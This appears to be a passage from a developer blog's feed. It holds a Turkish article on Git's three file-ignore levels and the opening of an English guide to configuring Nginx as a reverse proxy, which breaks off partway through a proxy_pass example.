&lt;p&gt;Git ile y&amp;inodot;llard&amp;inodot;r kod yaz&amp;inodot;p, dosyalar&amp;inodot; yok sayman&amp;inodot;n tek yolunun projenin k&amp;ouml;k dizinine bir &lt;code&gt;.gitignore&lt;/code&gt; dosyas&amp;inodot; f&amp;inodot;rlatmak oldu&amp;gbreve;unu d&amp;uuml;&amp;scedil;&amp;uuml;n&amp;uuml;yorsan&amp;inodot;z yaln&amp;inodot;z de&amp;gbreve;ilsiniz. Ancak Git bize dosyalar&amp;inodot; yok saymak&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; i&amp;ccedil;in &amp;uuml;&amp;ccedil; farkl&amp;inodot; seviye sunuyor:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Proje ile payla&amp;scedil;&amp;inodot;lan seviye: &lt;code&gt;.gitignore&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Proje &amp;ouml;zelinde ama yerel (payla&amp;scedil;&amp;inodot;lmayan) seviye: &lt;code&gt;.git/info/exclude&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Bilgisayar genelinde (k&amp;uuml;resel) seviye: &lt;code&gt;~/.config/git/ignore&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Ortak bir &lt;code&gt;.gitignore&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; sadece kendi bilgisayar&amp;inodot;m&amp;inodot;zdaki ge&amp;ccedil;ici dosyalarla kirletmek, apartman&amp;inodot;n ortak giri&amp;scedil; kap&amp;inodot;s&amp;inodot;na kendi &amp;ouml;zel ayakkab&amp;inodot;l&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;z&amp;inodot; kurmaya benzer. &amp;Idot;&amp;scedil;te bu y&amp;uuml;zden dostum, bug&amp;uuml;n Git'in sundu&amp;gbreve;u bu gizli b&amp;ouml;lmeleri ve hangi dosyay&amp;inodot; nerede saklamam&amp;inodot;z gerekti&amp;gbreve;ini konu&amp;scedil;aca&amp;gbreve;&amp;inodot;z.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="1-klasik-yontem-gitignore"&gt;📂 1. Klasik Y&amp;ouml;ntem: &lt;code&gt;.gitignore&lt;/code&gt;&lt;a class="headerlink" href="#1-klasik-yontem-gitignore" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Hepimizin bildi&amp;gbreve;i, projenin k&amp;ouml;k dizininde ya&amp;scedil;ayan o me&amp;scedil;hur dosya. Bu dosya Git ge&amp;ccedil;mi&amp;scedil;ine dahil edilir, commit edilir ve repoyu klonlayan herkesle payla&amp;scedil;&amp;inodot;l&amp;inodot;r.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ne zaman kullan&amp;inodot;lmal&amp;inodot;?&lt;/strong&gt; Projedeki t&amp;uuml;m geli&amp;scedil;tiriciler i&amp;ccedil;in ortak olan dosyalar i&amp;ccedil;in. &amp;Ouml;rne&amp;gbreve;in; &lt;code&gt;node_modules/&lt;/code&gt;, Python'&amp;inodot;n &lt;code&gt;__pycache__/&lt;/code&gt; klas&amp;ouml;r&amp;uuml;, derlenmi&amp;scedil; &amp;ccedil;&amp;inodot;kt&amp;inodot;lar (&lt;code&gt;dist/&lt;/code&gt;, &lt;code&gt;build/&lt;/code&gt;) veya IDE yap&amp;inodot;land&amp;inodot;rma klas&amp;ouml;rleri (&lt;code&gt;.vscode/&lt;/code&gt;, &lt;code&gt;.idea/&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;&amp;Ouml;nemli Not: Takip Edilen (Tracked) Dosyalar ⚠️&lt;/p&gt;
&lt;p&gt;Git'in yok sayma kurallar&amp;inodot; sadece hen&amp;uuml;z takip edilmeyen (untracked) dosyalar i&amp;ccedil;in ge&amp;ccedil;erlidir.&lt;sup id="fnref2:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; E&amp;gbreve;er bir dosyay&amp;inodot; daha &amp;ouml;nce commit ettiyseniz, o dosyay&amp;inodot; &lt;code&gt;.gitignore&lt;/code&gt; veya &lt;code&gt;exclude&lt;/code&gt; dosyas&amp;inodot;na ekleseniz bile Git onu izlemeye devam eder. Bu dosyalar&amp;inodot; takipten &amp;ccedil;&amp;inodot;karmak i&amp;ccedil;in &lt;code&gt;git rm --cached &amp;lt;dosya_yolu&amp;gt;&lt;/code&gt; komutunu kullanman&amp;inodot;z gerekir.&lt;/p&gt;
&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="2-proje-ozelinde-gizli-yok-sayma-gitinfoexclude"&gt;🔒 2. Proje &amp;Ouml;zelinde Gizli Yok Sayma: &lt;code&gt;.git/info/exclude&lt;/code&gt;&lt;a class="headerlink" href="#2-proje-ozelinde-gizli-yok-sayma-gitinfoexclude" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Her Git deposunun i&amp;ccedil;inde gizli bir &lt;code&gt;.git&lt;/code&gt; klas&amp;ouml;r&amp;uuml; yer al&amp;inodot;r. Bu klas&amp;ouml;r&amp;uuml;n alt&amp;inodot;ndaki &lt;code&gt;info/exclude&lt;/code&gt; dosyas&amp;inodot;, tam olarak o projeye &amp;ouml;zel ama Git ge&amp;ccedil;mi&amp;scedil;ine &lt;strong&gt;asla dahil edilmeyen&lt;/strong&gt; yerel bir yok sayma listesidir.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ne zaman kullan&amp;inodot;lmal&amp;inodot;?&lt;/strong&gt; Sadece sizin kendi i&amp;scedil; ak&amp;inodot;&amp;scedil;&amp;inodot;n&amp;inodot;za &amp;ouml;zel olan ve tak&amp;inodot;mdaki di&amp;gbreve;er insanlar&amp;inodot; ilgilendirmeyen dosyalar i&amp;ccedil;in. &amp;Ouml;rne&amp;gbreve;in; ald&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z ge&amp;ccedil;ici geli&amp;scedil;tirme notlar&amp;inodot; (&lt;code&gt;notlar.txt&lt;/code&gt;), test etmek i&amp;ccedil;in yazd&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z ama commit etmek istemedi&amp;gbreve;iniz ge&amp;ccedil;ici scriptler (&lt;code&gt;deneme.py&lt;/code&gt;) veya sadece yerel ortam&amp;inodot;n&amp;inodot;zda kulland&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z analiz dosyalar&amp;inodot;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Nas&amp;inodot;l kullan&amp;inodot;l&amp;inodot;r?&lt;/strong&gt; &lt;code&gt;.git/info/exclude&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; herhangi bir metin d&amp;uuml;zenleyiciyle a&amp;ccedil;&amp;inodot;p, standart &lt;code&gt;.gitignore&lt;/code&gt; yazar gibi yok saymak istedi&amp;gbreve;iniz dosya adlar&amp;inodot;n&amp;inodot; sat&amp;inodot;r sat&amp;inodot;r eklemeniz yeterlidir.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr/&gt;
&lt;h2 id="3-bilgisayar-genelinde-yok-sayma-configgitignore"&gt;🌍 3. Bilgisayar Genelinde Yok Sayma: &lt;code&gt;~/.config/git/ignore&lt;/code&gt;&lt;a class="headerlink" href="#3-bilgisayar-genelinde-yok-sayma-configgitignore" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;letim sisteminizde kullan&amp;inodot;c&amp;inodot; ana dizininin alt&amp;inodot;nda (&lt;code&gt;~/.config/git/ignore&lt;/code&gt;) bulunan bu dosya, bilgisayar&amp;inodot;n&amp;inodot;zda a&amp;ccedil;t&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z &lt;strong&gt;t&amp;uuml;m Git projelerinde&lt;/strong&gt; ge&amp;ccedil;erli olan k&amp;uuml;resel (global) yok sayma listesidir.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Ne zaman kullan&amp;inodot;lmal&amp;inodot;?&lt;/strong&gt; &amp;Idot;&amp;scedil;letim sisteminin veya kulland&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z edit&amp;ouml;rlerin her projede olu&amp;scedil;turdu&amp;gbreve;u &amp;ccedil;&amp;ouml;p dosyalar i&amp;ccedil;in. &amp;Ouml;rne&amp;gbreve;in; macOS kullan&amp;inodot;yorsan&amp;inodot;z &lt;code&gt;.DS_Store&lt;/code&gt; dosyalar&amp;inodot;, Windows'taki &lt;code&gt;Thumbs.db&lt;/code&gt; dosyalar&amp;inodot; ya da i&amp;scedil;letim sistemi d&amp;uuml;zeyindeki ge&amp;ccedil;ici klas&amp;ouml;rler. Bunlar&amp;inodot; her projenin kendi &lt;code&gt;.gitignore&lt;/code&gt; dosyas&amp;inodot;na tek tek yazmak yerine buraya bir kez yazarak &amp;ouml;m&amp;uuml;r boyu kurtulabilirsiniz.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&amp;Ouml;zel Yol Tan&amp;inodot;mlama:&lt;/strong&gt; E&amp;gbreve;er bu k&amp;uuml;resel dosyay&amp;inodot; ba&amp;scedil;ka bir konumda (&amp;ouml;rne&amp;gbreve;in ana dizinde direkt &lt;code&gt;.gitignore_global&lt;/code&gt; ad&amp;inodot;yla) tutmak isterseniz, Git yap&amp;inodot;land&amp;inodot;rma parametresini&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt; &amp;scedil;u komutla g&amp;uuml;ncelleyebilirsiniz:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;config&lt;span class="w"&gt; &lt;/span&gt;--global&lt;span class="w"&gt; &lt;/span&gt;core.excludesFile&lt;span class="w"&gt; &lt;/span&gt;~/.gitignore_global
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Varsay&amp;inodot;lan ayarlara geri d&amp;ouml;nmek isterseniz:&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;config&lt;span class="w"&gt; &lt;/span&gt;--global&lt;span class="w"&gt; &lt;/span&gt;--unset&lt;span class="w"&gt; &lt;/span&gt;core.excludesFile
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr/&gt;
&lt;h2 id="hangi-dosyann-nereden-engellendigini-bulmak"&gt;🔍 Hangi Dosyan&amp;inodot;n Nereden Engellendi&amp;gbreve;ini Bulmak&lt;a class="headerlink" href="#hangi-dosyann-nereden-engellendigini-bulmak" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Dosyalar&amp;inodot; bu &amp;uuml;&amp;ccedil; farkl&amp;inodot; yere da&amp;gbreve;&amp;inodot;tt&amp;inodot;&amp;gbreve;&amp;inodot;m&amp;inodot;zda, bir s&amp;uuml;re sonra "Yahu bu dosya neden Git taraf&amp;inodot;ndan g&amp;ouml;r&amp;uuml;nm&amp;uuml;yor, hangisi engelliyor?" sorusu akla gelebilir. Git bu kafa kar&amp;inodot;&amp;scedil;&amp;inodot;kl&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot; gidermek i&amp;ccedil;in bize harika bir komut sunuyor: &lt;code&gt;git check-ignore -v &amp;lt;dosya_yolu&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&amp;Ouml;rne&amp;gbreve;in, projenizde &lt;code&gt;.DS_Store&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot;n neden g&amp;ouml;r&amp;uuml;nmedi&amp;gbreve;ini sorgulayal&amp;inodot;m:&lt;/p&gt;
&lt;h3 id="senaryo-a-projenin-gitignore-dosyas-engelliyorsa"&gt;Senaryo A: Projenin &lt;code&gt;.gitignore&lt;/code&gt; dosyas&amp;inodot; engelliyorsa:&lt;a class="headerlink" href="#senaryo-a-projenin-gitignore-dosyas-engelliyorsa" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;check-ignore&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;.DS_Store
.gitignore:1:.DS_Store&lt;span class="w"&gt;  &lt;/span&gt;.DS_Store
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;em&gt;(&amp;Ccedil;&amp;inodot;kt&amp;inodot;da &lt;code&gt;.gitignore&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot;n 1. sat&amp;inodot;r&amp;inodot;ndan &amp;ouml;t&amp;uuml;r&amp;uuml; engellendi&amp;gbreve;i a&amp;ccedil;&amp;inodot;k&amp;ccedil;a yazar).&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="senaryo-b-projenin-yerel-gitinfoexclude-dosyas-engelliyorsa"&gt;Senaryo B: Projenin yerel &lt;code&gt;.git/info/exclude&lt;/code&gt; dosyas&amp;inodot; engelliyorsa:&lt;a class="headerlink" href="#senaryo-b-projenin-yerel-gitinfoexclude-dosyas-engelliyorsa" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;check-ignore&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;.DS_Store
.git/info/exclude:7:.DS_Store&lt;span class="w"&gt;   &lt;/span&gt;.DS_Store
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="senaryo-c-kuresel-configgitignore-dosyas-engelliyorsa"&gt;Senaryo C: K&amp;uuml;resel &lt;code&gt;~/.config/git/ignore&lt;/code&gt; dosyas&amp;inodot; engelliyorsa:&lt;a class="headerlink" href="#senaryo-c-kuresel-configgitignore-dosyas-engelliyorsa" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;check-ignore&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;.DS_Store
/home/yucel/.config/git/ignore:2:.DS_Store&lt;span class="w"&gt;  &lt;/span&gt;.DS_Store
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E&amp;gbreve;er yazd&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;z dosya ad&amp;inodot; hi&amp;ccedil;bir kural taraf&amp;inodot;ndan engellenmiyorsa, komut geriye hi&amp;ccedil;bir &amp;ccedil;&amp;inodot;kt&amp;inodot; d&amp;ouml;nmez.&lt;/p&gt;
&lt;p&gt;Netice itibariyle, Git kullan&amp;inodot;rken ortak repolar&amp;inodot; ki&amp;scedil;isel dosyalar&amp;inodot;m&amp;inodot;zla kirletmemek ve "yanl&amp;inodot;&amp;scedil;l&amp;inodot;kla pushlad&amp;inodot;m" kazalar&amp;inodot;n&amp;inodot;n &amp;ouml;n&amp;uuml;ne ge&amp;ccedil;mek i&amp;ccedil;in bu &amp;uuml;&amp;ccedil; seviyeyi yerli yerinde kullanmak profesyonel bir geli&amp;scedil;tirici refleksidir.&lt;/p&gt;
&lt;h2 id="ilgili-yazlar_1"&gt;🔗 &amp;Idot;lgili Yaz&amp;inodot;lar&lt;a class="headerlink" href="#ilgili-yazlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/git-commit-geri-donme-cherry-pick/"&gt;Git Commit Geri D&amp;ouml;nme ve Cherry-Pick&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/git-gpg-imzali-commit-vscode-arch/"&gt;Git GPG &amp;Idot;mzal&amp;inodot; Commit VS Code &amp;amp; Arch Linux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Git'in hen&amp;uuml;z takip etmedi&amp;gbreve;i (untracked) dosyalar i&amp;ccedil;in ge&amp;ccedil;erlidir. Takip edilen (tracked) dosyalar yok sayma listesine eklense bile izlenmeye devam eder.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;a class="footnote-backref" href="#fnref2:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:2"&gt;
&lt;p&gt;Git'in k&amp;uuml;resel yok sayma listesi olarak kullanaca&amp;gbreve;&amp;inodot; dosya yolunu belirleyen yap&amp;inodot;land&amp;inodot;rma parametresidir.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content><category term="Git"/><category term="Git"/><category term="Version Control"/><category term="Yazılım"/><category term="Geliştirme Araçları"/><category term="DevOps"/></entry><entry><title>Configuring Nginx as a Reverse Proxy</title><link href="https://yuceltoluyag.github.io/en/nginx-ters-vekil-sunucu-yapilandirmak/" rel="alternate"/><published>2026-06-26T02:40:00+03:00</published><updated>2026-06-26T02:40:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-06-26:/en/nginx-ters-vekil-sunucu-yapilandirmak/</id><summary type="html">&lt;p&gt;A guide on positioning Nginx as a reverse proxy in front of Node.js and other web applications to enhance security, rate limiting, and performance.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last week, while editing the Nginx configuration of an old project, I realized that all API routes were throwing 404 errors just because of the trailing slash (&lt;code&gt;/&lt;/code&gt;) character at the end of the &lt;code&gt;proxy_pass http://127.0.0.1:3000/;&lt;/code&gt; line. I spent hours pulling my hair out to understand why. At one point, my wife called out from the other room: "Y&amp;uuml;cel, are you staying up late again just because of a tiny slash character?" I both laughed and remembered how these unglamorous (unfancy but vital) details in the web development world keep us awake at night.&lt;/p&gt;
&lt;p&gt;When working on our local machines, everything is simple. Our Node.js application listens on port 3000, we type &lt;code&gt;localhost:3000&lt;/code&gt; in the browser, and go about our business. But when production time comes, the game changes entirely. Now we have a domain name, HTTPS traffic on port 443, and potentially thousands of users coming from all over the internet.&lt;/p&gt;
&lt;p&gt;Exposing the application itself directly to the internet is like tearing off your house's front door and letting anyone on the street walk straight into your bedroom. That's why, my friend, today we will talk about how to build that impassable Nginx wall between internet traffic and our application code.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="what-problem-does-nginx-solve"&gt;🛑 What Problem Does Nginx Solve?&lt;a class="headerlink" href="#what-problem-does-nginx-solve" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Application servers (Node.js, Python, Go, etc.) are great at running business logic. But handling wild traffic coming from the internet directly is not their job. Nginx exists to take the following burdens off the application:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Terminate TLS (SSL) certificates and renew them before they expire.&lt;/li&gt;
&lt;li&gt;Serve static files (images, CSS, JS) at lightning speed directly from disk without tiring the application server.&lt;/li&gt;
&lt;li&gt;Prevent the application from hanging by keeping sockets open for clients with slow connections.&lt;/li&gt;
&lt;li&gt;Manage request size limits and timeouts.&lt;/li&gt;
&lt;li&gt;Prevent malicious scans using request rate limiting.&lt;/li&gt;
&lt;li&gt;Queue incoming requests while the application restarts to avoid downtime.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nginx handles all these public-facing tasks, while the application behind it focuses solely on running its own code. (For example, to safely run and configure your Node.js application in Docker containers, you can check out my guide on &lt;a href="/en/docker-node-js-root-olmadan-calistirmak/"&gt;Running Node.js Containers Without Root in Docker&lt;/a&gt;.)&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="the-core-idea-reverse-proxy"&gt;💡 The Core Idea: Reverse Proxy&lt;a class="headerlink" href="#the-core-idea-reverse-proxy" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We make Nginx the single point of entry for the system. The outside world only talks to Nginx (port 443, via TLS). Nginx then forwards the requests it receives to the application behind the scenes, which is accessible only via the local network (port 3000, via unencrypted HTTP).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nginx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TLS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;plain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;We call this setup a reverse proxy&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;. Clients don't even know of the existence of the application behind.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="how-does-nginx-work"&gt;🏗️ How Does Nginx Work?&lt;a class="headerlink" href="#how-does-nginx-work" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Nginx consists of one &lt;strong&gt;master&lt;/strong&gt; process and &lt;strong&gt;worker&lt;/strong&gt; processes configured according to the CPU core count:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;master process
   &amp;boxvr;&amp;boxh;&amp;boxh; worker process (core 1)
   &amp;boxvr;&amp;boxh;&amp;boxh; worker process (core 2)
   &amp;boxur;&amp;boxh;&amp;boxh; worker process (core 3)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;The master process reads the configuration, binds ports, and manages the worker processes. The workers, which do the actual job, run with an event loop architecture. While old-school web servers (like Apache's classic model) open a separate thread for each connection, Nginx can manage thousands of connections simultaneously using a single worker process and the Linux kernel's event notification mechanism (&lt;code&gt;epoll&lt;/code&gt;)&lt;sup id="fnref:2"&gt;&lt;a class="footnote-ref" href="#fn:2"&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;
&lt;p&gt;Because of this, a slow or idle client costs Nginx almost nothing. Nginx absorbs these slow connections like a sponge and passes only fully prepared requests to the application behind.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="server-and-location-blocks"&gt;📁 Server and Location Blocks&lt;a class="headerlink" href="#server-and-location-blocks" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The foundation of Nginx configuration relies on &lt;code&gt;server&lt;/code&gt; and &lt;code&gt;location&lt;/code&gt; blocks.&lt;/p&gt;
&lt;h3 id="server-block"&gt;Server Block&lt;a class="headerlink" href="#server-block" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Defines how traffic coming for a domain and port will be handled:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;server&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;listen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;443&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;ssl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;server_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;example.com&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;ssl_certificate&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="s"&gt;/etc/letsencrypt/live/example.com/fullchain.pem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;ssl_certificate_key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/etc/letsencrypt/live/example.com/privkey.pem&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="location-block"&gt;Location Block&lt;a class="headerlink" href="#location-block" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Decides what to do based on the path of the incoming request:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/api/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:3000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/static/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/var/www/app&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Files under &lt;code&gt;/static/&lt;/code&gt; are read directly from disk and sent. The application server is never even aware of these requests.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="proxy_pass-and-the-trailing-slash-detail_1"&gt;⚡ proxy_pass and the Trailing Slash (/) Detail&lt;a class="headerlink" href="#proxy_pass-and-the-trailing-slash-detail" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;That famous slash rule that kept me awake at night is this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;# Scenario A: Slash present&lt;/span&gt;
&lt;span class="k"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;/api/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kn"&gt;proxy_pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;http://127.0.0.1:3000/&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
